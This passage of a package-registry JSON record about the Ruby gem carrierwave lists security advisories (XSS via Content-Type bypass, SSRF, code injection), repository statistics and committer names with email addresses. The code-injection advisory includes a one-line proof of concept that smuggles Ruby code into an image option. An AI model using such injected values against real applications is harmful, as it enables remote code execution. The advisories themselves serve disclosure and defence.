arbitrary","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-27T00:03:11.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.7,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N","references":["https://github.com/carrierwaveuploader/carrierwave/security/advisories/GHSA-7g26-2qgj-chfg","https://github.com/rubysec/ruby-advisory-db/blob/master/gems/carrierwave/CVE-2026-44587.yml","https://www.cve.org/CVERecord?id=CVE-2026-44587","https://nvd.nist.gov/vuln/detail/CVE-2026-44587","https://github.com/carrierwaveuploader/carrierwave/commit/21221cc6e260633f7da78c6133a88666a5529d27","https://github.com/carrierwaveuploader/carrierwave/commit/4c4a005775a436c5165df014dc9b1874c227d86c","https://github.com/advisories/GHSA-7g26-2qgj-chfg"],"source_kind":"github","identifiers":["GHSA-7g26-2qgj-chfg","CVE-2026-44587"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-27T01:00:08.983Z","updated_at":"2026-07-29T14:02:19.358Z","epss_percentage":0.00223,"epss_percentile":0.12733,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03ZzI2LTJxZ2otY2hmZ84ABXbA","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03ZzI2LTJxZ2otY2hmZ84ABXbA","packages":[{"ecosystem":"rubygems","package_name":"carrierwave","versions":[{"first_patched_version":"2.2.7","vulnerable_version_range":"\u003c 2.2.7"},{"first_patched_version":"3.1.3","vulnerable_version_range":"\u003e= 3.0.0.beta, \u003c 3.1.3"}],"purl":"pkg:gem/carrierwave"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03ZzI2LTJxZ2otY2hmZ84ABXbA/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12Zm12LWpmYzUtcGpqd84AA6Re","url":"https://github.com/advisories/GHSA-vfmv-jfc5-pjjw","title":"CarrierWave content-Type allowlist bypass vulnerability which possibly leads to XSS remained","description":"### Impact\nThe vulnerability [CVE-2023-49090](https://github.com/carrierwaveuploader/carrierwave/security/advisories/GHSA-gxhx-g4fq-49hj) wasn't fully addressed.\n\nThis vulnerability is caused by the fact that when uploading to object storage, including Amazon S3, it is possible to set a Content-Type value that is interpreted by browsers to be different from what's allowed by `content_type_allowlist`, by providing multiple values separated by commas.\n\nThis bypassed value can be used to cause XSS.\n\n### Patches\nUpgrade to [3.0.7](https://rubygems.org/gems/carrierwave/versions/3.0.7) or [2.2.6](https://rubygems.org/gems/carrierwave/versions/2.2.6).\n\n### Workarounds\nUse the following monkey patch to let CarrierWave parse the Content-type by using `Marcel::MimeType.for`.\n\n```ruby\n# For CarrierWave 3.x\nCarrierWave::SanitizedFile.class_eval do\n  def declared_content_type\n    @declared_content_type ||\n      if @file.respond_to?(:content_type) \u0026\u0026 @file.content_type\n        Marcel::MimeType.for(declared_type: @file.content_type.to_s.chomp)\n      end\n  end\nend\n```\n\n```ruby\n# For CarrierWave 2.x\nCarrierWave::SanitizedFile.class_eval do\n  def existing_content_type\n    if @file.respond_to?(:content_type) \u0026\u0026 @file.content_type\n      Marcel::MimeType.for(declared_type: @file.content_type.to_s.chomp)\n    end\n  end\nend\n```\n\n### References\n[OWASP - File Upload Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html#content-type-validation)\n\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2024-03-25T19:40:36.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N","references":["https://github.com/carrierwaveuploader/carrierwave/security/advisories/GHSA-vfmv-jfc5-pjjw","https://nvd.nist.gov/vuln/detail/CVE-2024-29034","https://github.com/carrierwaveuploader/carrierwave/commit/25b1c800d45ef8e78dc445ebe3bd8a6e3f0a3477","https://github.com/rubysec/ruby-advisory-db/blob/master/gems/carrierwave/CVE-2024-29034.yml","https://github.com/advisories/GHSA-vfmv-jfc5-pjjw"],"source_kind":"github","identifiers":["GHSA-vfmv-jfc5-pjjw","CVE-2024-29034"],"repository_url":"https://github.com/carrierwaveuploader/carrierwave","blast_radius":0.0,"created_at":"2024-03-25T20:04:49.872Z","updated_at":"2026-08-15T20:13:18.173Z","epss_percentage":0.0044,"epss_percentile":0.36511,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12Zm12LWpmYzUtcGpqd84AA6Re","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12Zm12LWpmYzUtcGpqd84AA6Re","packages":[{"ecosystem":"rubygems","package_name":"carrierwave","versions":[{"first_patched_version":"2.2.6","vulnerable_version_range":"\u003c 2.2.6"},{"first_patched_version":"3.0.7","vulnerable_version_range":"\u003e= 3.0.0, \u003c 3.0.7"}],"purl":"pkg:gem/carrierwave"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12Zm12LWpmYzUtcGpqd84AA6Re/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1neGh4LWc0ZnEtNDloas4AA3a3","url":"https://github.com/advisories/GHSA-gxhx-g4fq-49hj","title":"CarrierWave Content-Type allowlist bypass vulnerability, possibly leading to XSS","description":"### Impact\n[CarrierWave::Uploader::ContentTypeAllowlist](https://github.com/carrierwaveuploader/carrierwave/blob/master/lib/carrierwave/uploader/content_type_allowlist.rb) has a Content-Type allowlist bypass vulnerability, possibly leading to XSS. \n\nThe validation in `allowlisted_content_type?` determines Content-Type permissions by performing a partial match.\nIf the `content_type` argument of `allowlisted_content_type?` is passed a value crafted by the attacker, Content-Types not included in the `content_type_allowlist` will be allowed.\n\nIn addition, by setting the Content-Type configured by the attacker at the time of file delivery, it is possible to cause XSS on the user's browser when the uploaded file is opened.\n\n### Patches\nUpgrade to [3.0.5](https://rubygems.org/gems/carrierwave/versions/3.0.5) or [2.2.5](https://rubygems.org/gems/carrierwave/versions/2.2.5).\n\n### Workarounds\nWhen validating with `allowlisted_content_type?` in [CarrierWave::Uploader::ContentTypeAllowlist](https://github.com/carrierwaveuploader/carrierwave/blob/master/lib/carrierwave/uploader/content_type_allowlist.rb) , forward match(`\\A`) the Content-Type set in `content_type_allowlist`, preventing unintentional permission of `text/html;image/png` when you want to allow only `image/png` in `content_type_allowlist`.\n\n### References\n[OWASP - File Upload Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html#content-type-validation)\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2023-11-29T21:33:27.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N","references":["https://github.com/carrierwaveuploader/carrierwave/security/advisories/GHSA-gxhx-g4fq-49hj","https://nvd.nist.gov/vuln/detail/CVE-2023-49090","https://github.com/carrierwaveuploader/carrierwave/commit/39b282db5c1303899b3d3381ce8a837840f983b5","https://github.com/carrierwaveuploader/carrierwave/commit/863d425c76eba12c3294227b39018f6b2dccbbf3","https://github.com/carrierwaveuploader/carrierwave/blob/master/lib/carrierwave/uploader/content_type_allowlist.rb","https://rubygems.org/gems/carrierwave/versions/2.2.5","https://rubygems.org/gems/carrierwave/versions/3.0.5","https://github.com/rubysec/ruby-advisory-db/blob/master/gems/carrierwave/CVE-2023-49090.yml","https://github.com/advisories/GHSA-gxhx-g4fq-49hj"],"source_kind":"github","identifiers":["GHSA-gxhx-g4fq-49hj","CVE-2023-49090"],"repository_url":"https://github.com/carrierwaveuploader/carrierwave","blast_radius":0.0,"created_at":"2023-11-29T22:05:58.992Z","updated_at":"2026-08-17T08:15:54.782Z","epss_percentage":0.00613,"epss_percentile":0.46505,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1neGh4LWc0ZnEtNDloas4AA3a3","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1neGh4LWc0ZnEtNDloas4AA3a3","packages":[{"ecosystem":"rubygems","package_name":"carrierwave","versions":[{"first_patched_version":"2.2.5","vulnerable_version_range":"\u003c 2.2.5"},{"first_patched_version":"3.0.5","vulnerable_version_range":"\u003e= 3.0.0, \u003c 3.0.5"}],"purl":"pkg:gem/carrierwave"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1neGh4LWc0ZnEtNDloas4AA3a3/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWNmM3ctZzg2aC0zNXg0","url":"https://github.com/advisories/GHSA-cf3w-g86h-35x4","title":"Code Injection vulnerability in CarrierWave::RMagick","description":"### Impact\n[CarrierWave::RMagick](https://github.com/carrierwaveuploader/carrierwave/blob/master/lib/carrierwave/processing/rmagick.rb) has a Code Injection vulnerability. Its `#manipulate!` method inappropriately evals the content of mutation option(`:read`/`:write`), allowing attackers to craft a string that can be executed as a Ruby code.\nIf an application developer supplies untrusted inputs to the option, it will lead to remote code execution(RCE).\n\n(But supplying untrusted input to the option itself is dangerous even in absence of this vulnerability, since is prone to DoS vulnerability - attackers can try to consume massive amounts of memory by resizing to a very large dimension)\n\n### Proof of Concept\n```ruby\nclass MyUploader \u003c CarrierWave::Uploader::Base\n  include CarrierWave::RMagick\nend\n\nMyUploader.new.manipulate!({ read: { density: \"1 }; p 'Hacked'; {\" }}) # =\u003e shows \"Hacked\"\n```\n\n### Patches\nUpgrade to [2.1.1](https://rubygems.org/gems/carrierwave/versions/2.1.1) or [1.3.2](https://rubygems.org/gems/carrierwave/versions/1.3.2).\n\n### Workarounds\nStop supplying untrusted input to `#manipulate!`'s mutation option.\n\n### References\n[Code Injection Software Attack](https://owasp.org/www-community/attacks/Code_Injection)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [CarrierWave repo](https://github.com/carrierwaveuploader/carrierwave)\n* Email me at [mit.shibuya@gmail.com](mailto:mit.shibuya@gmail.com)","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2021-02-08T19:16:39.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.4,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L","references":["https://github.com/carrierwaveuploader/carrierwave/security/advisories/GHSA-cf3w-g86h-35x4","https://github.com/carrierwaveuploader/carrierwave/commit/387116f5c72efa42bc3938d946b4c8d2f22181b7","https://github.com/carrierwaveuploader/carrierwave/blob/master/CHANGELOG.md#132---2021-02-08","https://github.com/carrierwaveuploader/carrierwave/blob/master/CHANGELOG.md#211---2021-02-08","https://rubygems.org/gems/carrierwave","https://nvd.nist.gov/vuln/detail/CVE-2021-21305","https://github.com/rubysec/ruby-advisory-db/blob/master/gems/carrierwave/CVE-2021-21305.yml","https://github.com/advisories/GHSA-cf3w-g86h-35x4"],"source_kind":"github","identifiers":["GHSA-cf3w-g86h-35x4","CVE-2021-21305"],"repository_url":"https://github.com/carrierwaveuploader/carrierwave","blast_radius":0.0,"created_at":"2022-12-21T16:13:11.609Z","updated_at":"2026-07-19T12:11:42.708Z","epss_percentage":0.12678,"epss_percentile":0.95749,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWNmM3ctZzg2aC0zNXg0","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWNmM3ctZzg2aC0zNXg0","packages":[{"ecosystem":"rubygems","package_name":"carrierwave","versions":[{"first_patched_version":"2.1.1","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.1.1"},{"first_patched_version":"1.3.2","vulnerable_version_range":"\u003c 1.3.2"}],"purl":"pkg:gem/carrierwave"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWNmM3ctZzg2aC0zNXg0/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWZ3Y20tNjM2cC02OHI1","url":"https://github.com/advisories/GHSA-fwcm-636p-68r5","title":"Server-side request forgery in CarrierWave","description":"### Impact\n[CarrierWave download feature](https://github.com/carrierwaveuploader/carrierwave#uploading-files-from-a-remote-location) has an SSRF vulnerability, allowing attacks to provide DNS entries or IP addresses that are intended for internal use and gather information about the Intranet infrastructure of the platform.\n\n### Patches\nUpgrade to [2.1.1](https://rubygems.org/gems/carrierwave/versions/2.1.1) or [1.3.2](https://rubygems.org/gems/carrierwave/versions/1.3.2).\n\n### Workarounds\nUsing proper network segmentation and applying the principle of least privilege to outbound connections from application servers can reduce the severity of SSRF vulnerabilities. Ideally the vulnerable gem should run on an isolated server without access to any internal network resources or cloud metadata access.\n\n### References\n[Server-Side Request Forgery Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [CarrierWave repo](https://github.com/carrierwaveuploader/carrierwave)\n* Email me at [mit.shibuya@gmail.com](mailto:mit.shibuya@gmail.com)","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2021-02-08T19:16:26.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","references":["https://github.com/carrierwaveuploader/carrierwave/security/advisories/GHSA-fwcm-636p-68r5","https://github.com/carrierwaveuploader/carrierwave/commit/012702eb3ba1663452aa025831caa304d1a665c0","https://github.com/carrierwaveuploader/carrierwave/blob/master/CHANGELOG.md#132---2021-02-08","https://github.com/carrierwaveuploader/carrierwave/blob/master/CHANGELOG.md#211---2021-02-08","https://rubygems.org/gems/carrierwave/","https://nvd.nist.gov/vuln/detail/CVE-2021-21288","https://github.com/rubysec/ruby-advisory-db/blob/master/gems/carrierwave/CVE-2021-21288.yml","https://github.com/advisories/GHSA-fwcm-636p-68r5"],"source_kind":"github","identifiers":["GHSA-fwcm-636p-68r5","CVE-2021-21288"],"repository_url":"https://github.com/carrierwaveuploader/carrierwave","blast_radius":0.0,"created_at":"2022-12-21T16:13:11.618Z","updated_at":"2026-08-17T08:23:26.060Z","epss_percentage":0.01173,"epss_percentile":0.64554,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWZ3Y20tNjM2cC02OHI1","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWZ3Y20tNjM2cC02OHI1","packages":[{"ecosystem":"rubygems","package_name":"carrierwave","versions":[{"first_patched_version":"2.1.1","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.1.1"},{"first_patched_version":"1.3.2","vulnerable_version_range":"\u003c 1.3.2"}],"purl":"pkg:gem/carrierwave"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWZ3Y20tNjM2cC02OHI1/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/rubygems/carrierwave","docker_dependents_count":247,"docker_downloads_count":461281802,"usage_url":"https://repos.ecosyste.ms/usage/rubygems/carrierwave","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/rubygems/carrierwave/dependencies","status":null,"funding_links":[],"critical":true,"issue_metadata":{"last_synced_at":"2026-08-13T01:27:51.833Z","issues_count":182,"pull_requests_count":126,"avg_time_to_close_issue":81578355.10563381,"avg_time_to_close_pull_request":5067374.0,"issues_closed_count":142,"pull_requests_closed_count":106,"pull_request_authors_count":65,"issue_authors_count":163,"avg_comments_per_issue":2.456043956043956,"avg_comments_per_pull_request":1.6428571428571428,"merged_pull_requests_count":70,"bot_issues_count":0,"bot_pull_requests_count":4,"past_year_issues_count":12,"past_year_pull_requests_count":24,"past_year_avg_time_to_close_issue":5608133.0,"past_year_avg_time_to_close_pull_request":2792700.0,"past_year_issues_closed_count":2,"past_year_pull_requests_closed_count":11,"past_year_pull_request_authors_count":17,"past_year_issue_authors_count":12,"past_year_avg_comments_per_issue":0.8333333333333334,"past_year_avg_comments_per_pull_request":0.75,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":3,"past_year_merged_pull_requests_count":5,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/issues","maintainers":[{"login":"mshibuya","count":7,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/mshibuya"},{"login":"plribeiro3000","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/plribeiro3000"}],"active_maintainers":[]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/packages/carrierwave/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/packages/carrierwave/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/packages/carrierwave/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/packages/carrierwave/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/packages/carrierwave/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/packages/carrierwave/codemeta","maintainers":[{"uuid":"296","login":"jnicklas","name":null,"email":null,"url":null,"packages_count":32,"html_url":"https://rubygems.org/profiles/jnicklas","role":null,"created_at":"2022-11-07T14:05:20.056Z","updated_at":"2022-11-07T14:05:20.056Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/maintainers/jnicklas/packages"},{"uuid":"60885","login":"thiagofm","name":null,"email":null,"url":null,"packages_count":3,"html_url":"https://rubygems.org/profiles/thiagofm","role":null,"created_at":"2022-11-07T14:05:20.070Z","updated_at":"2022-11-07T14:05:20.070Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/maintainers/thiagofm/packages"},{"uuid":"349","login":"trevorturk","name":null,"email":null,"url":null,"packages_count":8,"html_url":"https://rubygems.org/profiles/trevorturk","role":null,"created_at":"2022-11-07T14:05:20.049Z","updated_at":"2022-11-07T14:05:20.049Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/maintainers/trevorturk/packages"},{"uuid":"43692","login":"bensie","name":null,"email":null,"url":null,"packages_count":15,"html_url":"https://rubygems.org/profiles/bensie","role":null,"created_at":"2022-11-07T14:05:20.063Z","updated_at":"2022-11-07T14:05:20.063Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/maintainers/bensie/packages"},{"uuid":"53064","login":"mshibuya","name":null,"email":null,"url":null,"packages_count":9,"html_url":"https://rubygems.org/profiles/mshibuya","role":null,"created_at":"2022-11-07T14:05:20.077Z","updated_at":"2022-11-07T14:05:20.077Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/maintainers/mshibuya/packages"}],"registry":{"name":"rubygems.org","url":"https://rubygems.org","ecosystem":"rubygems","default":true,"packages_count":211110,"maintainers_count":69807,"namespaces_count":0,"keywords_count":19491,"github":"rubygems","metadata":{"funded_packages_count":8036},"icon_url":"https://github.com/rubygems.png","created_at":"2022-04-04T15:19:23.446Z","updated_at":"2026-08-17T05:00:17.734Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/namespaces"}}],"commits":{"id":3116,"full_name":"carrierwaveuploader/carrierwave","default_branch":"master","total_commits":2083,"total_committers":462,"total_bot_commits":4,"total_bot_committers":1,"mean_commits":4.508658008658009,"dds":0.7498799807969275,"past_year_total_commits":10,"past_year_total_committers":4,"past_year_total_bot_commits":3,"past_year_total_bot_committers":1,"past_year_mean_commits":2.5,"past_year_dds":0.6,"last_synced_at":"2026-08-16T10:01:10.374Z","last_synced_commit":"b5f0abe10ecf6500309fc83e0e8969cf57ba690e","created_at":"2023-03-07T09:16:39.428Z","updated_at":"2026-08-16T10:01:01.726Z","committers":[{"name":"Jonas Nicklas","email":"jonas.nicklas@gmail.com","login":"jnicklas","count":521},{"name":"M.Shibuya","email":"mit.shibuya@gmail.com","login":"mshibuya","count":218},{"name":"James Miller","email":"bensie@gmail.com","login":"bensie","count":148},{"name":"Trevor Turk","email":"trevorturk@gmail.com","login":"trevorturk","count":148},{"name":"Akira Matsuda","email":"ronnie@dio.jp","login":"amatsuda","count":44},{"name":"Mehdi Lahmam","email":"mehdi@craftsmen.io","login":null,"count":36},{"name":"geemus","email":"geemus@gmail.com","login":"geemus","count":33},{"name":"Taavo Smith","email":"taavo@mac.com","login":"taavo","count":33},{"name":"Thiago Fernandes Massa","email":"thiagown@gmail.com","login":"thiagofm","count":32},{"name":"Pavel Kunc","email":"pavel.kunc@gmail.com","login":"pk","count":24},{"name":"Aggelos Avgerinos","email":"evaggelos.avgerinos@gmail.com","login":"avgerin0s","count":21},{"name":"Jonas Nicklas and Lisa Hammarström","email":"dev+jnicklas+lisarut@elabs.se","login":null,"count":20},{"name":"Yohta Kimura","email":"kitakita7617@gmail.com","login":"rajyan","count":13},{"name":"Sam Lown","email":"sam@sams-imac-desktop.(none)","login":null,"count":13},{"name":"Sam Lown iMac","email":"me@samlown.com","login":"samlown","count":12},{"name":"ydah","email":"13041216+ydah","login":"ydah","count":10},{"name":"Ola Tuvesson","email":"196348+clickworkorange","login":"clickworkorange","count":10},{"name":"Alex Crichton","email":"alex@alexcrichton.com","login":"alexcrichton","count":9},{"name":"Stan Hu","email":"stanhu@gmail.com","login":"stanhu","count":9},{"name":"Sho Fukamachi","email":"sho@fukamachi.org","login":null,"count":8},{"name":"Corin Langosch","email":"corin.langosch@netskin.com","login":null,"count":7},{"name":"matt-domsch-sp","email":"matt.domsch@sailpoint.com","login":"matt-domsch-sp","count":7},{"name":"wonda-tea-coffee","email":"lagrange.resolvent@gmail.com","login":"wonda-tea-coffee","count":7},{"name":"Benjamin Quorning","email":"bquorning@zendesk.com","login":"bquorning","count":7},{"name":"Yuji Yaginuma","email":"yuuji.yaginuma@gmail.com","login":"y-yagi","count":6},{"name":"Nash","email":"pleasesendmeaspam@gmail.com","login":"nashbridges","count":6},{"name":"Brian Hawley","email":"brian_hawley@yahoo.com","login":"BrianHawley","count":6},{"name":"did","email":"didier@nocoffee.fr","login":null,"count":6},{"name":"Stan Lo","email":"a22301613@yahoo.com.tw","login":"st0012","count":5},{"name":"Yauheni Kryudziuk","email":"yauheni.kryudziuk@xing.com","login":"snoopie","count":5},{"name":"Scott W. Bradley","email":"scottwb@scottwb.net","login":"scottwb","count":5},{"name":"H. Wade Minter","email":"minter@lunenburg.org","login":"minter","count":5},{"name":"Shinya Maeda","email":"shinya@gitlab.com","login":null,"count":5},{"name":"Jesse Trimble","email":"jesse.trimble@factorylabs.com","login":null,"count":4},{"name":"Jason Woodward","email":"jason@recovend.com","login":null,"count":4},{"name":"Fernando Blat","email":"ferblape@gmail.com","login":null,"count":4},{"name":"Dave Ott and Durran Jordan","email":"dev+daveott+durran@hashrocket.com","login":null,"count":4},{"name":"Tanzeeb Khalili","email":"tanzeeb@xtremelabs.com","login":null,"count":4},{"name":"Yohta Kimura","email":"yota.kimura@gree.net","login":null,"count":4},{"name":"Alexander Kahn","email":"alexanderkahn@gmail.com","login":"akahn","count":4},{"name":"dependabot[bot]","email":"49699333+dependabot[bot]","login":"dependabot[bot]","count":4},{"name":"Timur Yanberdin","email":"yanberdint@gmail.com","login":"mendab1e","count":4},{"name":"Stuart Chinery","email":"stuart.chinery@boxt.co.uk","login":"schinery","count":4},{"name":"Ryunosuke Sato","email":"tricknotes.rs@gmail.com","login":"tricknotes","count":4},{"name":"Ryan McGeary","email":"ryan@mcgeary.org","login":"rmm5t","count":4},{"name":"Quin Hoxie","email":"qhoxie@gmail.com","login":"qhoxie","count":4},{"name":"Kurakin Alexander","email":"kuraga333@mail.ru","login":"kuraga","count":4},{"name":"Josh Kalderimis","email":"josh.kalderimis@gmail.com","login":"joshk","count":4},{"name":"Joe Atzberger","email":"ohiocore@gmail.com","login":"atz","count":4},{"name":"Andrew Timberlake","email":"andrew@andrewtimberlake.com","login":"andrewtimberlake","count":4},{"name":"Anton Orel","email":"eagle.anton@gmail.com","login":"skyeagle","count":4},{"name":"Christopher Durtschi","email":"christopher.durtschi@gmail.com","login":"chrisdurtschi","count":4},{"name":"Corin Langosch","email":"info@netskin.com","login":"netskin-ci","count":4},{"name":"Dimko","email":"deemox@gmail.com","login":"dmeremyanin","count":4},{"name":"Durran Jordan","email":"durran@gmail.com","login":"durran","count":4},{"name":"Felix Bünemann","email":"buenemann@louis.info","login":"felixbuenemann","count":4},{"name":"Jared Beck","email":"jared@jaredbeck.com","login":"jaredbeck","count":4},{"name":"Paulo Henrique Lopes Ribeiro","email":"plribeiro3000@gmail.com","login":"plribeiro3000","count":3},{"name":"JT Bowler","email":"jbowler2400@gmail.com","login":"QuotableWater7","count":3},{"name":"Pere Joan Martorell Calaf","email":"pj.martorell@gmail.com","login":"pjmartorell","count":3},{"name":"Petr Stepchenko","email":"nitrinodev@gmail.com","login":"Nitrino","count":3},{"name":"Nick DeLuca","email":"nick@wescrimmage.com","login":"nddeluca","count":3},{"name":"Mauricio Zaffari","email":"mauricio@papodenerd.net","login":"mauriciozaffari","count":3},{"name":"Mario Visic","email":"mario@mariovisic.com","login":"mariovisic","count":3},{"name":"Stefan Penner","email":"stefan.penner@gmail.com","login":"stefanpenner","count":3},{"name":"Tobias Maier","email":"info@tobiasmaier.info","login":"tmaier","count":3},{"name":"Tom Prats","email":"tprats108@gmail.com","login":"tomprats","count":3},{"name":"Viren Negi","email":"meetme2meat@gmail.com","login":"meetme2meat","count":3},{"name":"Zog","email":"johan@about-blank.fr","login":"zog","count":3},{"name":"bUg","email":"aleks.grebennik@gmail.com","login":"slbug","count":3},{"name":"Maciej Zubala","email":"maciej.zubala@gmail.com","login":"mzubala","count":3},{"name":"Janko Marohnić","email":"janko.marohnic@gmail.com","login":"janko","count":3},{"name":"J. Pablo Fernández","email":"pupeno@pupeno.com","login":"pupeno","count":3},{"name":"Hampton Catlin","email":"hcatlin@gmail.com","login":"HamptonMakes","count":3},{"name":"Felipe Sateler","email":"fsateler@gmail.com","login":"fsateler","count":3},{"name":"Evgeniy Zuev","email":"zuev.evgenii@gmail.com","login":"ZuevEvgenii","count":3},{"name":"Shiva","email":"ironman@ironman-OptiPlex-790.(none)","login":null,"count":3},{"name":"Paul Elliott and Robert Pitts","email":"dev+paulelliott+rbxbx@hashrocket.com","login":null,"count":3},{"name":"Jason Sydes","email":"sydes@cs.uoregon.edu","login":null,"count":3},{"name":"Francis Robichaud","email":"frobichaud@petalmd.com","login":null,"count":3},{"name":"Christopher David Yudichak","email":"TheOddLinguist@gmail.com","login":null,"count":3},{"name":"Cainã Costa","email":"cainan.costa@gmail.com","login":null,"count":3},{"name":"Douwe Maan","email":"douwemaan@me.com","login":"DouweM","count":3},{"name":"dmathieu","email":"42@dmathieu.com","login":"dmathieu","count":3},{"name":"rhymes","email":"rhymes@hey.com","login":"rhymes","count":3},{"name":"samy amar","email":"samy.amar.paris@gmail.com","login":"Samy-Amar","count":3},{"name":"ujifgc","email":"ujifgc@gmail.com","login":"ujifgc","count":3},{"name":"yui-knk","email":"spiketeika@gmail.com","login":"yui-knk","count":3},{"name":"Anton Chuchkalov","email":"a2new@yandex.ru","login":"hedgesky","count":3},{"name":"Simon Schrape","email":"sim@ilitu.de","login":"smnscp","count":3},{"name":"Shay Arnett","email":"shayarnett@gmail.com","login":"shayarnett","count":2},{"name":"Stefan Daschek","email":"stefan@die-antwort.eu","login":"noniq","count":2},{"name":"Stephen Celis","email":"stephen@stephencelis.com","login":"stephencelis","count":2},{"name":"Steve Schwartz","email":"steve@alfajango.com","login":"JangoSteve","count":2},{"name":"Tatsuya Ogi","email":"t.oginogin@gmail.com","login":"t-oginogin","count":2},{"name":"Theo","email":"theo@iconara.net","login":"iconara","count":2},{"name":"Scott Burton","email":"scottburton11@gmail.com","login":"scottburton11","count":2},{"name":"SHIBATA Hiroshi","email":"shibata.hiroshi@gmail.com","login":"hsbt","count":2},{"name":"Razvan Marescu","email":"rmarescu@reinvent.com","login":"rmarescu","count":2},{"name":"Piotr Solnica","email":"piotr.solnica@gmail.com","login":"solnic","count":2},{"name":"Paul Sturgess","email":"paulsturgess@gmail.com","login":"paulsturgess","count":2},{"name":"Boris Gvozdev","email":"boris.gvozdev@toptal.com","login":"stillwaiting","count":2},{"name":"Nik Wakelin","email":"me@nikwakelin.com","login":"nikz","count":2},{"name":"Nick Gauthier","email":"ngauthier@gmail.com","login":"ngauthier","count":2},{"name":"Grey Baker","email":"greysteil@gmail.com","login":"greysteil","count":2},{"name":"Tony Coconate","email":"me@tonycoconate.com","login":"tonycoco","count":2},{"name":"Vasiliy Ermolovich","email":"younash@gmail.com","login":"nashby","count":2},{"name":"Yosi 